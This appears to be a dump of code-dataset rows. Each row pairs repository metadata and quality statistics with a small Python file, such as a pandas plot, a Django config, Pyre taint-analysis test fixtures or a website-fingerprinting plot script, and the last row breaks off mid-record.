| 24.416667 | 84 | 0.686007 | 29 | 293 | 6.931034 | 0.62069 | 0.139303 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.201365 | 293 | 11 | 85 | 26.636364 | 0.858974 | 0 | 0 | 0 | 0 | 0 | 0.068259 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.125 | 0.75 | 0.125 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
a076e197f2b2a49dfa714d9c4b64a695fdb6a31d | 219 | py | Python | answers/pandas_answer5.py | monocilindro/foss4g-geopandas | 12afbc787c1f65cc046234b41166bd62bbb6ac29 | [
"Apache-2.0"
] | null | null | null | answers/pandas_answer5.py | monocilindro/foss4g-geopandas | 12afbc787c1f65cc046234b41166bd62bbb6ac29 | [
"Apache-2.0"
] | null | null | null | answers/pandas_answer5.py | monocilindro/foss4g-geopandas | 12afbc787c1f65cc046234b41166bd62bbb6ac29 | [
"Apache-2.0"
] | null | null | null | ax = boroughs['Gross_Annual_Pay_-_Female_(2016)'].plot.hist(bins=15,figsize=(10,5),alpha=0.5);
ax = boroughs['Gross_Annual_Pay_-_Male_(2016)'].plot.hist(bins=15,figsize=(10,5),alpha=0.5);
ax.legend(['female','male']);
| 43.8 | 94 | 0.712329 | 38 | 219 | 3.842105 | 0.473684 | 0.136986 | 0.205479 | 0.287671 | 0.821918 | 0.506849 | 0.506849 | 0.506849 | 0.506849 | 0.506849 | 0 | 0.104265 | 0.03653 | 219 | 4 | 95 | 54.75 | 0.587678 | 0 | 0 | 0 | 0 | 0 | 0.330275 | 0.284404 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
a0adaa4adaaae3fdc606f9ebeee41f9bf334e9bf | 2,146 | py | Python | script/plot.py | hjw95/website-fingerprinting | 6b141c2cc7821417bab8367d9c0bcda5f5a1badd | [
"MIT"
] | null | null | null | script/plot.py | hjw95/website-fingerprinting | 6b141c2cc7821417bab8367d9c0bcda5f5a1badd | [
"MIT"
] | null | null | null | script/plot.py | hjw95/website-fingerprinting | 6b141c2cc7821417bab8367d9c0bcda5f5a1badd | [
"MIT"
] | null | null | null | import os, json, time
import numpy as np
from svm.svmTrain import get_data, twopowerrange, accuracy
import matplotlib.pyplot as plt
from visual.plot import plot, transform
from sklearn.preprocessing import normalize
browser = "tor"
paper = "3"
processedpath = "data/" + browser + "/processed"
svmprocesseddata = "data/" + browser + "/extracted/p" + paper + ".txt"
svmtestdata = "data/" + browser + "/extracted/t" + paper + ".txt"
train_pathname = svmprocesseddata
# Plot data
xtrain, ytrain = get_data(train_pathname)
filename = "data/" + browser + "/plot/p" + paper + "-all.png"
j = 5
for i in range(25):
print "Plotting index ", i
plotx, ploty = transform(xtrain[(20*i) + j])
plt.plot(plotx, ploty)
plt.savefig(filename)
plt.clf()
# Plot data normalized
xtrain, ytrain = get_data(train_pathname)
xtrain = normalize(xtrain, axis=0)
filename = "data/" + browser + "/plot/p" + paper + "-all-normalized.png"
j = 5
for i in range(25):
print "Plotting index ", i
plotx, ploty = transform(xtrain[(20*i) + j])
plt.plot(plotx, ploty)
plt.savefig(filename)
plt.clf()
# Plot one class
xtrain, ytrain = get_data(train_pathname)
for j in range(25):
print "Plotting index ", j
filename = "data/" + browser + "/plot/p" + paper + "-c" + str(j) + ".png"
for i in range(20):
plotx, ploty = transform(xtrain[(20 * j) + i])
plt.plot(plotx, ploty)
plt.savefig(filename)
plt.clf()
# Plot one class normalized
xtrain, ytrain = get_data(train_pathname)
xtrain = normalize(xtrain, axis=0)
for j in range(25):
print "Plotting index ", j
filename = "data/" + browser + "/plot/p" + paper + "-c" + str(j) + "-normalized.png"
for i in range(20):
plotx, ploty = transform(xtrain[(20 * j) + i])
plt.plot(plotx, ploty)
plt.savefig(filename)
plt.clf()
# Plot one class one data
xtrain, ytrain = get_data(train_pathname)
for j in range(25):
print "Plotting index ", j
filename = "data/" + browser + "/plot/p" + paper + "-c" + str(j) + "-i0.png"
plotx, ploty = transform(xtrain[(20 * j)])
plt.plot(plotx, ploty)
plt.savefig(filename)
plt.clf() | 26.825 | 88 | 0.646319 | 301 | 2,146 | 4.568106 | 0.215947 | 0.072727 | 0.054545 | 0.069091 | 0.725091 | 0.725091 | 0.705455 | 0.629818 | 0.629818 | 0.629818 | 0 | 0.017493 | 0.200839 | 2,146 | 80 | 89 | 26.825 | 0.784257 | 0.044268 | 0 | 0.689655 | 0 | 0 | 0.124633 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.103448 | null | null | 0.086207 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
a0af0b583003cef0c6b8e3fef6c2644fe21a495a | 96 | py | Python | mysite/mongodb/apps.py | dduong711/API_project | a30ee07d2d61af9b57b3f0e21020a45b83db2e00 | [
"MIT"
] | null | null | null | mysite/mongodb/apps.py | dduong711/API_project | a30ee07d2d61af9b57b3f0e21020a45b83db2e00 | [
"MIT"
] | null | null | null | mysite/mongodb/apps.py | dduong711/API_project | a30ee07d2d61af9b57b3f0e21020a45b83db2e00 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class MongodbConfig(AppConfig):
name = 'mysite.mongodb'
| 16 | 33 | 0.760417 | 11 | 96 | 6.636364 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15625 | 96 | 5 | 34 | 19.2 | 0.901235 | 0 | 0 | 0 | 0 | 0 | 0.145833 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
26450a487c51356997d0996d9b8206e75636d564 | 280 | py | Python | pearll/buffers/__init__.py | LondonNode/Anvil | bc50fd7b16af36051157814e2548a98e787b03de | [
"MIT"
] | 13 | 2022-01-17T14:43:05.000Z | 2022-03-10T04:05:36.000Z | pearll/buffers/__init__.py | LondonNode/Anvil | bc50fd7b16af36051157814e2548a98e787b03de | [
"MIT"
] | 3 | 2022-02-24T18:29:12.000Z | 2022-03-22T11:09:07.000Z | pearll/buffers/__init__.py | LondonNode/Anvil | bc50fd7b16af36051157814e2548a98e787b03de | [
"MIT"
] | null | null | null | from pearll.buffers.base_buffer import BaseBuffer
from pearll.buffers.her_buffer import HERBuffer
from pearll.buffers.replay_buffer import ReplayBuffer
from pearll.buffers.rollout_buffer import RolloutBuffer
__all__ = ["BaseBuffer", "ReplayBuffer", "RolloutBuffer", "HERBuffer"]
| 40 | 70 | 0.839286 | 33 | 280 | 6.878788 | 0.424242 | 0.176211 | 0.299559 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.082143 | 280 | 6 | 71 | 46.666667 | 0.883268 | 0 | 0 | 0 | 0 | 0 | 0.157143 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.8 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
266c922d02a2de7af7086a3c77163254b47e9b1a | 344 | py | Python | pure/prompt_symbol.py | zzamboni/pure-x | 5a61355b907cd20e6d33a38fb36feb374548d25a | [
"MIT"
] | 3 | 2021-01-22T11:49:39.000Z | 2022-01-20T05:33:58.000Z | pure/prompt_symbol.py | edouard-lopez/pure | 5a61355b907cd20e6d33a38fb36feb374548d25a | [
"MIT"
] | 17 | 2019-02-26T09:02:13.000Z | 2020-04-18T14:18:10.000Z | pure/prompt_symbol.py | edouard-lopez/pure | 5a61355b907cd20e6d33a38fb36feb374548d25a | [
"MIT"
] | null | null | null | from pure import colors, constants
def raw():
return '❯'
def segment(last_command_status=constants.SUCCESS):
return {
'text': raw(),
'style': style(last_command_status)
}
def style(last_command_status):
return colors.style('primary') if last_command_status == constants.SUCCESS else colors.style('danger')
| 20.235294 | 106 | 0.688953 | 43 | 344 | 5.348837 | 0.465116 | 0.191304 | 0.295652 | 0.226087 | 0.286957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.19186 | 344 | 16 | 107 | 21.5 | 0.823741 | 0 | 0 | 0 | 0 | 0 | 0.06686 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3 | false | 0 | 0.1 | 0.3 | 0.7 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 4 |
268116aa58a38e9e39b351b53ee6f8a8196575a6 | 108 | py | Python | gitssues/github/exc.py | lecovi/gitssues | c17153a2d279b14bda31bd2727a7e24663976698 | [
"MIT"
] | null | null | null | gitssues/github/exc.py | lecovi/gitssues | c17153a2d279b14bda31bd2727a7e24663976698 | [
"MIT"
] | 14 | 2020-10-12T00:43:00.000Z | 2021-12-20T16:07:21.000Z | gitssues/github/exc.py | lecovi/gitssues | c17153a2d279b14bda31bd2727a7e24663976698 | [
"MIT"
] | null | null | null | """
This module contains the Exceptions for Github package.
"""
class GitHubException(Exception):
pass | 15.428571 | 55 | 0.740741 | 12 | 108 | 6.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 108 | 7 | 56 | 15.428571 | 0.888889 | 0.509259 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
cd57e826b9d536a980e1c7de377eb8e82bbba534 | 602 | py | Python | python/anyascii/_data/_26c.py | casept/anyascii | d4f426b91751254b68eaa84c6cd23099edd668e6 | [
"ISC"
] | null | null | null | python/anyascii/_data/_26c.py | casept/anyascii | d4f426b91751254b68eaa84c6cd23099edd668e6 | [
"ISC"
] | null | null | null | python/anyascii/_data/_26c.py | casept/anyascii | d4f426b91751254b68eaa84c6cd23099edd668e6 | [
"ISC"
] | null | null | null | b=' Diao Wo Zhi Bi Fen Ngon Ong Na Nua Day Lau Bang Cai Qiu Ni Bo Dun Shi Xu Chang Xu Ye Mi Xin Zhuo Fu Pi Xue Yu Xian Yu Yu Gu Ju Ta Kong Zheng Meng Gang Mu Xi Bi Fu Xiao Jiu Gou Chi Jiu Jiu Sha Fei Ping Diu Ji Lei Geoi Nhai Ji Fu Wan Xu Bo Chenh Lei Jyu Ra Sa Rom Ngo Jan Muop La Mui Hao Xie Pian Yu Tian Pi Shi Kuai Ji Zha Nai Mou Fu Du Sheng Cha Tre Chi Gui Min Tang Bai Qiang Zhuo Wei Xun Miao Zai You You Shan He Lu Zhi Jing Zhen Meng You Wo Ba Juan Ru Cou' | 602 | 602 | 0.571429 | 117 | 602 | 2.940171 | 0.794872 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.423588 | 602 | 1 | 602 | 602 | 0.991354 | 0 | 0 | 0 | 0 | 1 | 0.991708 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
cd72b22326bedfcc643e83c3cd3f9b5260bc1d50 | 272 | py | Python | tests/testproject/serializers.py | seebass/drf-enum-field | 41358622724a18dd74036cbd7f52241790a45835 | [
"MIT"
] | 14 | 2016-07-08T17:55:57.000Z | 2020-02-14T17:05:48.000Z | tests/testproject/serializers.py | seebass/drf-enum-field | 41358622724a18dd74036cbd7f52241790a45835 | [
"MIT"
] | 20 | 2015-08-08T14:31:06.000Z | 2022-02-10T10:03:12.000Z | tests/testproject/serializers.py | seebass/drf-enum-field | 41358622724a18dd74036cbd7f52241790a45835 | [
"MIT"
] | 8 | 2015-09-02T09:49:26.000Z | 2019-08-14T06:00:35.000Z | from rest_framework.serializers import ModelSerializer
from drf_enum_field.serializers import EnumFieldSerializerMixin
from .models import TestResource
class TestResourceSerializer(EnumFieldSerializerMixin, ModelSerializer):
class Meta:
model = TestResource
| 30.222222 | 72 | 0.841912 | 25 | 272 | 9.04 | 0.64 | 0.150442 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 272 | 8 | 73 | 34 | 0.94958 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.833333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
cd79a67a96ef20fb6aef3fb878f8eb8085a30c06 | 281 | py | Python | python/linked_list/sum_two_reversed_list/test_solution.py | Lumexralph/solving-algorithm-questions | 0791c174cdd7bb6804dd33405dd2d9b441e0e166 | [
"MIT"
] | null | null | null | python/linked_list/sum_two_reversed_list/test_solution.py | Lumexralph/solving-algorithm-questions | 0791c174cdd7bb6804dd33405dd2d9b441e0e166 | [
"MIT"
] | null | null | null | python/linked_list/sum_two_reversed_list/test_solution.py | Lumexralph/solving-algorithm-questions | 0791c174cdd7bb6804dd33405dd2d9b441e0e166 | [
"MIT"
] | null | null | null | from solution_1 import Solution
class TestAddTwoNumbersSolution:
def test_digit_set_1(self):
l1 = Solution().generate_linked_list(112)
l2 = Solution().generate_linked_list(345)
result = Solution().addTwoNumbers(l1, l2)
assert result.val == '7' | 31.222222 | 49 | 0.690391 | 34 | 281 | 5.470588 | 0.676471 | 0.172043 | 0.236559 | 0.27957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.058559 | 0.209964 | 281 | 9 | 50 | 31.222222 | 0.779279 | 0 | 0 | 0 | 1 | 0 | 0.003546 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.142857 | false | 0 | 0.142857 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
cd8028da295cdacaad04ef7ff58b8b8258ec347c | 66 | py | Python | sendbird/api_resources/constants/channel_types.py | jpbullalayao/sendbird-python | 1ce77bef2b3337196fbf08d6c03df311d76f4098 | [
"MIT"
] | 4 | 2019-05-16T00:17:23.000Z | 2020-12-10T05:59:34.000Z | sendbird/api_resources/constants/channel_types.py | jpbullalayao/sendbird-python | 1ce77bef2b3337196fbf08d6c03df311d76f4098 | [
"MIT"
] | 11 | 2019-05-18T05:21:31.000Z | 2019-09-06T14:38:19.000Z | sendbird/api_resources/constants/channel_types.py | jpbullalayao/sendbird-python | 1ce77bef2b3337196fbf08d6c03df311d76f4098 | [
"MIT"
] | 4 | 2019-09-05T15:54:57.000Z | 2021-07-29T22:55:50.000Z | OPEN_CHANNELS = "open_channels"
GROUP_CHANNELS = "group_channels"
| 22 | 33 | 0.818182 | 8 | 66 | 6.25 | 0.375 | 0.48 | 0.84 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 66 | 2 | 34 | 33 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0.409091 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
269d6ddabb738b2d0286f3df5f61499075e867bf | 255 | py | Python | lib/python/treadmill/apptrace/__init__.py | vrautela/treadmill | 05e47fa8acdf8bad7af78e737efb26ea6488de82 | [
"Apache-2.0"
] | 2 | 2017-10-31T18:48:20.000Z | 2018-03-04T20:35:20.000Z | lib/python/treadmill/apptrace/__init__.py | bretttegart/treadmill | 812109e31c503a6eddaee2d3f2e1faf2833b6aaf | [
"Apache-2.0"
] | 1 | 2017-09-18T10:36:12.000Z | 2017-09-18T10:36:12.000Z | lib/python/treadmill/apptrace/__init__.py | bretttegart/treadmill | 812109e31c503a6eddaee2d3f2e1faf2833b6aaf | [
"Apache-2.0"
] | null | null | null | """Trace module.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import os
TRACE_SOW_DIR = os.path.join('.sow', 'trace')
TRACE_SOW_TABLE = 'trace'
| 19.615385 | 45 | 0.796078 | 35 | 255 | 5.142857 | 0.485714 | 0.222222 | 0.355556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121569 | 255 | 12 | 46 | 21.25 | 0.803571 | 0.05098 | 0 | 0 | 0 | 0 | 0.059574 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.714286 | 0 | 0.714286 | 0.142857 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
26c0cfdb6feba8e77a2f822afbed7933eed3828d | 3,753 | py | Python | source/interprocedural_analyses/taint/test/integration/sanitize_obscure.py | sthagen/facebook-pyre-check | cea188088c9632b10e0d0a658a8f1954f19413cd | [
"MIT"
] | null | null | null | source/interprocedural_analyses/taint/test/integration/sanitize_obscure.py | sthagen/facebook-pyre-check | cea188088c9632b10e0d0a658a8f1954f19413cd | [
"MIT"
] | null | null | null | source/interprocedural_analyses/taint/test/integration/sanitize_obscure.py | sthagen/facebook-pyre-check | cea188088c9632b10e0d0a658a8f1954f19413cd | [
"MIT"
] | null | null | null | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
# flake8: noqa
from builtins import _test_sink, _test_source
from typing import TypeVar
T = TypeVar("T")
def sanitize_all(x: T) -> T:
...
def test1(x):
y = sanitize_all(x)
_test_sink(y)
def test2():
x = _test_source()
y = sanitize_all(x)
_test_sink(y)
def sanitize_tito(x: T) -> T:
...
def test3(x):
y = sanitize_tito(x)
_test_sink(y)
def test4():
x = _test_source()
y = sanitize_tito(x)
_test_sink(y)
def a_source():
return
def b_source():
return
def a_sink(x):
return
def b_sink(x):
return
def sanitize_a_tito(x):
...
def no_propagation_with_sanitize_a_tito():
a = a_source()
b = sanitize_a_tito(a)
return b
def propagation_of_b_with_sanitize_a_tito():
b = b_source()
tito = sanitize_a_tito(b)
return tito
def sanitize_a_sink_tito(x):
...
def no_propagation_of_a_sink(x):
y = sanitize_a_sink_tito(x)
a_sink(y)
def propagation_of_b_sink(x):
y = sanitize_a_sink_tito(x)
b_sink(y)
def sanitize_a_source_tito(x):
...
def no_propagation_of_a_source():
x = a_source()
return sanitize_a_source_tito(x)
def propagation_of_b_source():
x = b_source()
return sanitize_a_source_tito(x)
def sanitize_parameter_source_a_tito(x, y):
...
def no_propagation_of_a_source_via_parameter_tito():
x = a_source()
return sanitize_parameter_source_a_tito(x)
def propagation_of_a_source_via_other_parameter_tito():
x = a_source()
return sanitize_parameter_source_a_tito(y=x, x="foo")
def propagation_of_b_source_via_parameter_tito():
x = b_source()
return sanitize_parameter_source_a_tito(x)
def sanitize_parameter_sink_a_tito(x, y):
...
def no_propagation_of_a_sink_via_parameter_tito(x):
y = sanitize_parameter_sink_a_tito(x)
a_sink(y)
def propagation_of_a_sink_via_other_parameter_tito(x):
y = sanitize_parameter_sink_a_tito("foo", x)
a_sink(y)
def propagation_of_b_sink_via_parameter_tito(x):
y = sanitize_parameter_sink_a_tito(x)
b_sink(y)
def sanitize_return_source_a_tito(x):
...
def no_propagation_of_a_source_via_return_tito():
x = a_source()
return sanitize_return_source_a_tito(x)
def propagation_of_b_source_via_return_tito():
x = b_source()
return sanitize_return_source_a_tito(x)
def sanitize_return_sink_a_tito(x):
...
def no_propagation_of_a_sink_via_return_tito(x):
y = sanitize_return_sink_a_tito(x)
a_sink(y)
def propagation_of_b_sink_via_return_tito(x):
y = sanitize_return_sink_a_tito(x)
b_sink(y)
def sanitize_parameter_source_a(x):
...
def no_propagation_of_a_source_via_parameter():
x = a_source()
return sanitize_parameter_source_a(x)
def propagation_of_b_source_via_parameter():
x = b_source()
return sanitize_parameter_source_a(x)
def sanitize_parameter_sink_a(x):
...
def no_propagation_of_a_sink_via_parameter(x):
y = sanitize_parameter_sink_a(x)
a_sink(y)
def propagation_of_b_sink_via_parameter(x):
y = sanitize_parameter_sink_a(x)
b_sink(y)
def sanitize_return_source_a(x):
...
def no_propagation_of_a_source_via_return():
x = a_source()
return sanitize_return_source_a(x)
def propagation_of_b_source_via_return():
x = b_source()
return sanitize_return_source_a(x)
def sanitize_return_sink_a(x):
...
def no_propagation_of_a_sink_via_return(x):
y = sanitize_return_sink_a(x)
a_sink(y)
def propagation_of_b_sink_via_return(x):
y = sanitize_return_sink_a(x)
b_sink(y)
| 16.754464 | 65 | 0.717826 | 616 | 3,753 | 3.88474 | 0.086039 | 0.066862 | 0.046803 | 0.078145 | 0.80234 | 0.774342 | 0.712077 | 0.672796 | 0.475136 | 0.298788 | 0 | 0.001639 | 0.187317 | 3,753 | 223 | 66 | 16.829596 | 0.782951 | 0.048761 | 0 | 0.552 | 0 | 0 | 0.001964 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.36 | false | 0 | 0.016 | 0.032 | 0.512 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
26e25ef01b59d53cebb2ca4c5bee49c5cf86c4eb | 1,289 | py | Python | poem/Poem/poem/migrations/0010_service_null_fields.py | kevangel79/poem-2 | 75cda3cdd302df9c85b963bd91b7ce7182dfa220 | [
"Apache-2.0"
] | null | null | null | poem/Poem/poem/migrations/0010_service_null_fields.py | kevangel79/poem-2 | 75cda3cdd302df9c85b963bd91b7ce7182dfa220 | [
"Apache-2.0"
] | 139 | 2020-04-06T09:22:16.000Z | 2021-08-02T06:39:22.000Z | poem/Poem/poem/migrations/0010_service_null_fields.py | kevangel79/poem-2 | 75cda3cdd302df9c85b963bd91b7ce7182dfa220 | [
"Apache-2.0"
] | 3 | 2019-07-10T09:37:38.000Z | 2020-04-02T10:48:38.000Z | # Generated by Django 2.2.5 on 2020-03-20 10:19
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('poem', '0009_remove_metric_probeversion'),
]
operations = [
migrations.AlterField(
model_name='service',
name='component_name',
field=models.CharField(max_length=1024, null=True),
),
migrations.AlterField(
model_name='service',
name='component_version',
field=models.CharField(max_length=1024, null=True),
),
migrations.AlterField(
model_name='service',
name='service_category',
field=models.CharField(max_length=1024, null=True),
),
migrations.AlterField(
model_name='service',
name='service_name',
field=models.CharField(max_length=128, null=True),
),
migrations.AlterField(
model_name='service',
name='service_type',
field=models.CharField(max_length=1024, null=True),
),
migrations.AlterField(
model_name='service',
name='service_version',
field=models.CharField(max_length=1024, null=True),
),
]
| 29.295455 | 63 | 0.574864 | 125 | 1,289 | 5.76 | 0.328 | 0.152778 | 0.145833 | 0.241667 | 0.763889 | 0.763889 | 0.7125 | 0.631944 | 0.631944 | 0.479167 | 0 | 0.047351 | 0.31187 | 1,289 | 43 | 64 | 29.976744 | 0.764374 | 0.034911 | 0 | 0.621622 | 1 | 0 | 0.13124 | 0.02496 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.027027 | 0 | 0.108108 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
26e5cdc590251709a89e7e11b0af185510e07c5c | 1,511 | py | Python | stylo/domain/square.py | mvinoba/stylo | 84f3a74cf9cb29c6d24b990dc9a474562114392b | [
"MIT"
] | null | null | null | stylo/domain/square.py | mvinoba/stylo | 84f3a74cf9cb29c6d24b990dc9a474562114392b | [
"MIT"
] | null | null | null | stylo/domain/square.py | mvinoba/stylo | 84f3a74cf9cb29c6d24b990dc9a474562114392b | [
"MIT"
] | null | null | null | from .rectangular import RectangularDomain
class SquareDomain(RectangularDomain):
""" A domain of the form :math:`[a, b] \\times [a, b] \\subset \\mathbb{R}^2`."""
def __init__(self, x_min, x_max):
super().__init__(x_min, x_max, x_min, x_max)
@RectangularDomain.xmin.setter
def xmin(self, value):
RectangularDomain.xmin.fset(self, value)
RectangularDomain.ymin.fset(self, value)
@RectangularDomain.ymin.setter
def ymin(self, value):
RectangularDomain.ymin.fset(self, value)
RectangularDomain.xmin.fset(self, value)
@RectangularDomain.xmax.setter
def xmax(self, value):
RectangularDomain.xmax.fset(self, value)
RectangularDomain.ymax.fset(self, value)
@RectangularDomain.ymax.setter
def ymax(self, value):
RectangularDomain.ymax.fset(self, value)
RectangularDomain.xmax.fset(self, value)
class UnitSquare(SquareDomain):
"""The domain :math:`[0, 1] \\times [0, 1] \\subset \\mathbb{R}^2`."""
def __init__(self):
super().__init__(0, 1)
@SquareDomain.xmax.setter
def xmax(self, value):
raise AttributeError("can't set attribute")
@SquareDomain.xmin.setter
def xmin(self, value):
raise AttributeError("can't set attribute")
@SquareDomain.ymin.setter
def ymin(self, value):
raise AttributeError("can't set attribute")
@SquareDomain.ymax.setter
def ymax(self, value):
raise AttributeError("can't set attribute")
| 29.057692 | 85 | 0.663137 | 181 | 1,511 | 5.414365 | 0.226519 | 0.146939 | 0.291837 | 0.214286 | 0.772449 | 0.772449 | 0.633673 | 0.530612 | 0.171429 | 0 | 0 | 0.006672 | 0.206486 | 1,511 | 51 | 86 | 29.627451 | 0.810676 | 0.088021 | 0 | 0.571429 | 0 | 0 | 0.055882 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.028571 | 0 | 0.371429 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
26fb485c2495546c2b4a053ce700590eaf24e857 | 102 | py | Python | hyper_science/images_backend/apps.py | postaxmi/hyper-science | 694621a23e97ef27691ef604749cc3050b150bc3 | [
"Apache-2.0"
] | 2 | 2019-02-20T16:32:16.000Z | 2019-02-22T13:22:27.000Z | hyper_science/images_backend/apps.py | postaxmi/hyper-science | 694621a23e97ef27691ef604749cc3050b150bc3 | [
"Apache-2.0"
